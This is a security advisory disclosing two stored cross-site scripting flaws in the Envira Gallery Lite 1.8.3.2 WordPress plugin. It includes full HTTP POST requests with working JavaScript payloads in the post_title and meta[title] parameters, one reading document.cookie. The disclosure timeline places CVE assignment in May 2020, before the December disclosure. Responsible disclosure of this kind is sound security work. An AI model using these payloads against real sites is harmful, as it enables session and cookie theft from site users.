Envira Gallery Lite 1.8.3.2 Cross Site Scripting

`==== [Tempest Security Intelligence - ADV-12/2020]  
=============================  
  
Envira Gallery - Lite Edition - Version 1.8.3.2  
Author: Rodolfo Tavares  
Tempest Security Intelligence - Recife, Pernambuco - Brazil  
  
  
===== [Table of Contents] ================================================  
• Overview  
• Detailed description  
• Disclosure timeline  
• Acknowledgements  
• References  
  
  
===== [Vulnerability Information]  
===========================================  
Category: Improper Neutralization of an Input while Generating a Web Page.  
  
('Cross-site Scripting') [CWE-79]  
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N  
  
  
===== [Overview] ======================================================  
Affected system: Envira Gallery – Lite Edition  
Software version: Lite - 1.8.3.2  
Impacts: The browser of the end-user doesn't have a way to know whether the  
script should be trusted or not, and ends up executing it. Since the  
browser believes that the script is from a trusted source, it can access  
any cookies, session tokens, and other sensitive information that is  
retained by the browser and used on the website. The script can also be  
used to redirect the victim into a malicious website, in order to perform a  
phishing attack or steal information.  
  
  
==== [Detailed description] ================================================  
Envira Gallery Lite Edition - Version 1.8.3.2 is vulnerable to an XSS that  
is stored through the meta[title] parameter and a second XSS, which is  
stored through the post_title parameter.  
  
  
  
  
[1]- XSS located at http://localhost:8080/wp-admin/post.php and stored  
through the post_title parameter:  
To exploit the XSS through POST, insert a single char in the endpoint  
post.php and in the parameter post_title, then close the current by  
including a javascript payload. As showed on the example bellow:  
  
  
POST /wp-admin/post.php HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101  
Firefox/83.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 1771  
Origin: http://localhost:8080  
Connection: close  
Cookie: [cookies]  
_wpnonce=2671a27a51&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&user_ID=2&action=editpost&originalaction=editpost&post_author=2&post_type=envira&original_post_status=publish&referredby=  
http://localhost:8080/wp-admin/edit.php?post_type=envira&_wp_original_http_referer=http://localhost:8080/wp-admin/edit.php?post_type=envira&post_ID=2933&meta-box-order-nonce=3751b8aa86&closedpostboxesnonce=d58bcab0d3&post_title=nf3  
"onfocus="alert(2)"autofocus="n3fx8&samplepermalinknonce=24f9403378&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=&mm=12&jj=16&aa=2020&hh=14&mn=22&ss=03&hidden_mm=12&cur_mm=12&hidden_jj=16&cur_jj=16&hidden_aa=2020&cur_aa=2020&hidden_hh=14&cur_hh=20&hidden_mn=22&cur_mn=09&original_publish=Update&save=Update&_envira_gallery[type]=default&async-upload=&post_id=2933&envira-gallery=031bef86cc&_wp_http_referer=/wp-admin/post.php?post=2933&action=edit&_envira_gallery[type_default]=1&_envira_gallery[columns]=0&_envira_gallery[lazy_loading]=1&_envira_gallery[lazy_loading_delay]=500&_envira_gallery[justified_row_height]=150&_envira_gallery[justified_margins]=1&_envira_gallery[gallery_theme]=base&_envira_gallery[gutter]=10&_envira_gallery[margin]=10&_envira_gallery[image_size]=default&_envira_gallery[crop_width]=640&_envira_gallery[crop_height]=480&_envira_gallery[lightbox_enabled]=1&_envira_gallery[lightbox_theme]=base&_envira_gallery[lightbox_image_size]=default&_envira_gallery[title_display]=float&_envira_gallery[title]=nf3&_envira_gallery[slug]=change-the-gallery-title&_envira_gallery[classes]=  
  
  
  
  
  
[2]- XSS stored at [/wp-admin/admin-ajax.php]  
To exploit the XSS through POST, insert a single char in the endpoint  
wp-admin/admin-ajax.php and in the parameter meta[title], close the current  
one by inserting a double quote ("), and then insert a javascript payload.  
As showed on the example bellow:  
  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101  
Firefox/83.0  
Accept: /  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost:8080/wp-admin/post.php?post=2931&action=edit  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://localhost:8080  
Connection: close  
Cookie: [cookies]  
nonce=bb7f61ad8e&post_id=2931&attach_id=2937&meta[id]=2937&meta[title]=bug"onmousemove="alert(document.cookie)&meta[caption]=&meta[alt]=&meta[link]=&meta[status]=active&meta[src]=&meta[thumb]=&meta[_thumbnail]=&action=envira_gallery_save_meta  
  
  
==== [Disclosure timeline] ================================================  
17/Dez/2020 – Initiated the responsible disclosure with the vendor.  
17/Dez/2020 - Envira Gallery confirmed the issue.  
18/Dez/2020 - The vendor fixed the vulnerability on the first XSS.  
19/Dez/2020 - The vendor fixed the vulnerability on the second XSS.  
22/May/2020 - CVEs were assigned and reserved as CVE-2020-35581,  
CVE-2020-35582  
  
  
=====[Acknowledgements]======================================= ========  
Tempest Security Intelligence [5]  
  
  
==== [References] ======================================================  
[1][ https://cwe.mitre.org/data/definitions/79.html  
[2][  
https://github.com/enviragallery/envira-gallery-lite/commit/3b081dd10a1731f8cd981bebeac0e775fb217acf  
]  
[4][  
https://github.com/enviragallery/envira-gallery-lite/commit/102651514e6faca914ec1c7e113def340d8e1e09  
]  
[5][ https://www.tempest.com.br  
==== [EOF] ===========================================================  
  
--  
  
  
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